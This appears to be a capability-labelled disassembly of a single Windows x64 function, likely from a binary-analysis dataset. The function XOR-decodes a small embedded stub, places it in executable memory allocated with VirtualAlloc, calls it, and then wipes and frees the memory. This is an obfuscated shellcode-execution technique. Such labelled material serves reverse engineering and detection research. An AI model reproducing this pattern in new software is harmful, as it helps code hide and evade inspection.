Function at 0x14004d840
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0xe0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movaps xmmword [rax - 0x48], xmm9
movaps xmmword [rax - 0x58], xmm10
mov rax, qword [0x14006b010]
xor rax, rsp
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
lea r14, [rsp + 0xe8]
movabs rsi, 0xff00ff00ff00ff00
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r14
mov rdi, qword [r14]
xor rdi, rsi
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov qword [r14], r8
movsd xmm1, qword [rcx]
cvtpd2ps xmm1, xmm1
movsd xmm9, qword [rcx + 8]
cvtpd2ps xmm9, xmm9
movss xmm8, dword [0x140071910]
movd xmm4, dword [0x1400726d8]
cvtdq2pd xmm4, xmm4
mulsd xmm4, qword [0x140062390]
movd xmm6, dword [0x1400726d4]
cvtdq2pd xmm6, xmm6
mulsd xmm6, qword [0x140062390]
xorps xmm5, xmm5
xorps xmm3, xmm3
xorps xmm2, xmm2
xorps xmm10, xmm10
ucomiss xmm1, xmm10
jp 0x14004d90f
je 0x14004d96a
cvtps2pd xmm7, xmm1
comisd xmm7, xmm6
jbe 0x14004d945
movaps xmm3, xmm6
subsd xmm3, xmm7
xorps xmm3, xmmword [0x140062800]
cvtps2pd xmm0, xmm8
divsd xmm3, xmm0
movaps xmm1, xmm3
addsd xmm1, xmm6
movaps xmm0, xmm6
addsd xmm0, xmm6
comisd xmm1, xmm0
jbe 0x14004d945
xorps xmm3, xmm3
comisd xmm6, xmm7
jbe 0x14004d96a
movaps xmm3, xmm7
subsd xmm3, xmm6
cvtps2pd xmm0, xmm8
divsd xmm3, xmm0
movaps xmm0, xmm3
addsd xmm0, xmm6
comisd xmm5, xmm0
jbe 0x14004d96a
xorps xmm3, xmm3
ucomiss xmm9, xmm10
jp 0x14004d972
je 0x14004d9ce
cvtps2pd xmm6, xmm9
comisd xmm6, xmm4
jbe 0x14004d9a9
movaps xmm2, xmm4
subsd xmm2, xmm6
xorps xmm2, xmmword [0x140062800]
cvtps2pd xmm0, xmm8
divsd xmm2, xmm0
movaps xmm1, xmm2
addsd xmm1, xmm4
movaps xmm0, xmm4
addsd xmm0, xmm4
comisd xmm1, xmm0
jbe 0x14004d9a9
xorps xmm2, xmm2
comisd xmm4, xmm6
jbe 0x14004d9ce
movaps xmm2, xmm6
subsd xmm2, xmm4
cvtps2pd xmm0, xmm8
divsd xmm2, xmm0
movaps xmm0, xmm2
addsd xmm0, xmm4
comisd xmm5, xmm0
jbe 0x14004d9ce
xorps xmm2, xmm2
cvttsd2si edx, xmm3
cvttsd2si ecx, xmm2
test edx, edx
jne 0x14004d9e2
test ecx, ecx
je 0x14004db1b
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rax
mov rax, qword [rax]
xor rax, rsi
mov qword [rsp + 0x38], rax
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], r8
mov dword [rsp + 0x68], edx
mov dword [rsp + 0x6c], ecx
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0xe8]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rcx
mov rax, qword [rcx]
xor rax, rsi
mov qword [rsp + 0x50], rax
mov qword [rcx], r8
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x14004db1b
movdqa xmm2, xmmword [0x140062880]
movdqa xmm1, xmm2
movdqu xmm0, xmmword [0x140072460]
xorps xmm1, xmm0
movdqu xmmword [0x140072460], xmm1
mov ecx, 0x10
mov eax, ecx
lea rdx, [0x140072460]
nop
xor byte [rax + rdx], 0xfa
inc rax
cmp rax, 0x1e
jb 0x14004da90
movups xmm0, xmmword [0x140072460]
movups xmmword [rbx], xmm0
movsd xmm1, qword [0x140072470]
movsd qword [rbx + 0x10], xmm1
mov eax, dword [0x140072478]
mov dword [rbx + 0x18], eax
movzx eax, word [0x14007247c]
mov word [rbx + 0x1c], ax
movdqu xmm0, xmmword [0x140072460]
xorps xmm2, xmm0
movdqu xmmword [0x140072460], xmm2
nop dword [rax + rax]
xor byte [rcx + rdx], 0xfa
inc rcx
cmp rcx, 0x1e
jb 0x14004dae0
mov edx, 1
lea rcx, [rsp + 0x68]
call rbx
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
xor rdi, rsi
mov qword [r14], rdi
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140059400
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r14
ret